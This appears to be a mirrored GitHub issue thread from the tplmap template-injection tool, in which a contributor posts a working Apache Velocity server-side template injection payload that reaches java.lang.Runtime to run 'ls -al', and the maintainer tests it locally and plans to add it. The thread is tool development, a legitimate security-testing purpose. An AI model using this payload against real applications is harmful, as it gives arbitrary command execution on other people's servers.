Comments (4)
Nice testing environment. Didn't noticed it.
So it seems that my $engine variable was preset on my environment (I was testing on Apache Solr). Using the "raw" Apache Velocity, we just need to assign it first. It doesn't really matter what we assign it with because we just want something to start the reflection :)
I tested using your environment and this works:
#set($engine="string")#set($run=$engine.getClass().forName("java.lang.Runtime"))#set($runtime=$run.getRuntime())#set($proc=$runtime.exec("ls -al"))#set($null=$proc.waitFor())#set($istr=$proc.getInputStream())#set($chr=$engine.getClass().forName("java.lang.Character"))#set($output="")#set($string=$engine.getClass().forName("java.lang.String"))#foreach($i in [1..$istr.available()])#set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))#end$output
Let me know if it worked for you
from tplmap.
Thank you henshin.
Valuable contribution :) However, I can't manage to get this working. Here the steps using the included test suite:
cd tests; ./run_java_tests.sh
should start the Java environment and http test endpoint. Install any requirement if missing- Go to tplmap root and run
./tplmap.py -u 'http://localhost:15003/velocity?inj=*' --tpl-shell
. It should start a shell where to inject bare template code on the endpoint. It supports multi-line command, press ctrl-D to send the payload. - Debug sent payloads and responses tracking tplmap logfile with
tail -f ~/.tplmap/tplmap.log
I've tried injecting your code but I can't see any response - not even triggers any error or exception on the webserver. Can you please double-check using the same procedure? I've not a full access on my dev environment these days, but I'll be happy to dig deeper later if you can't now.
Thanks again for your help.
from tplmap.
It works flawlessly :) Thanks mate, I'm going to add this in the next few days. Thanks again!
from tplmap.
Glad to contribute 👍
from tplmap.
Related Issues (20)
- Twig plugin blind injection exception - crash HOT 2
- 'bool' object has no attribute 'replace' HOT 5
- module 'collections' has no attribute 'Mapping' HOT 8
- requests module download faile
- Unable to detect SSTI
- Node test container not building
- Problem installing in kali HOT 8
- doesn't support python3.10.9 HOT 5
- Getting error: Name 'GuiderQuest' is not defined even though it is global and i think it is all right? Help please.
- module 'collections' has no attribute 'Mapping' HOT 2
- Not working properly showing bool object no atribute replace error while runninng HOT 1
- Is this awesome tools provide witting a log?
- 3 arguments ? HOT 1
- target shell can't move to other file ,is it normal? HOT 1
- Traceback (most recent call last): File "./tplmap.py", line 3, in <module> HOT 5
- Why can't my cookie be configured normally
- ISSUE AGAIN
- Can't SSTI injection through cookie value
- Traceback (most recent call last): File "tplmap.py", line 2, in <module> HOT 4
- ERROR: No matching distribution found for PyYaml HOT 2
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from tplmap.